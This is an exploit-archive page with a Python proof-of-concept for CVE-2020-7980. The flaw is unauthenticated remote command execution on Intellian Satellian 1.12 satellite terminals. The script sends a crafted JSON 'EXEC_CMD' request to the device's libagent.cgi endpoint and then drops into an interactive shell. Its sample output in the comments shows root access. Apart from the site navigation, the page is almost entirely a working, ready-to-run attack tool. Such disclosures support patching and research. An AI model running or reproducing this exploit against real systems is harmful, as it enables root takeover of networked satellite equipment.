exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Satellian 1.12 Remote Code Execution

Satellian 1.12 Remote Code Execution
Posted Jan 29, 2020
Authored by Xh4H

Satellian version 1.1.2 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-7980
SHA-256 | 1a239d2ff6e4bd53b95bafc7bdbaf968f2de1f7ec2f2729bd748a4efd4ef3282

Satellian 1.12 Remote Code Execution

Change Mirror Download
# Exploit Title: Satellian 1.12 - Remote Code Execution
# Date: 2020-01-28
# Exploit Author: Xh4H
# Vendor Homepage: https://www.intelliantech.com/?lang=en
# Version: v1.12+
# Tested on: Kali linux, MacOS
# CVE : CVE-2020-7980

# Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980

# xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
# ________________________________________
# (__) / \
# (oo) ( Intellian Satellite Terminal PoC )
# /-------\/ --' \________________________________________/
# / | ||
# * ||----||

# Performing initial scan. Listing available system binaries.
# Starting request to http://<redacted>
# Executing command /bin/ls /bin
# acu_server
# acu_tool
# addgroup
# adduser
# ...

# Satellian $ id
# uid=0(root) gid=0(root)

import requests
import argparse
import sys
import calendar
import time
from termcolor import colored

def cprint(text, color): # colored print
sys.stdout.write(colored(text + "\n", color, attrs=["bold"]))

def httpize(url):
if not url.startswith("http"):
cprint("Missing protocol, using http . . .", "yellow")
url = "http://" + url
return url

def send_command(url, command, verbose):
RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}}
string_to_split = '''"SUCCESS_"
},'''

if verbose:
cprint("Starting request to %s" % url, "yellow")
cprint("Executing command %s" % command, "yellow")

a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'})
command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '')

if len(command_output) < 4 and verbose:
cprint("Target doesn't seem to be vulnerable\nExiting.", 'red')
sys.exit()
print command_output

cprint("""
________________________________________
(__) / \\
(oo) ( Intellian Satellite Terminal PoC )
/-------\\/ --' \\________________________________________/
/ | ||
* ||----||
""", "green")

parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980")
parser.add_argument("-u", "--url", help="Base url")
args = parser.parse_args()

if args.url is None:
cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red")
sys.exit()

url = httpize(args.url)

def main():
cprint("Performing initial scan. Listing available system binaries.", "green")
send_command(url, '/bin/ls /bin', True)

while True:
command = raw_input('Satellian $ ')
send_command(url, command, False)

if __name__ == '__main__':
try:
main()
except Exception as e:
print e
print "\nAn error happened."
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close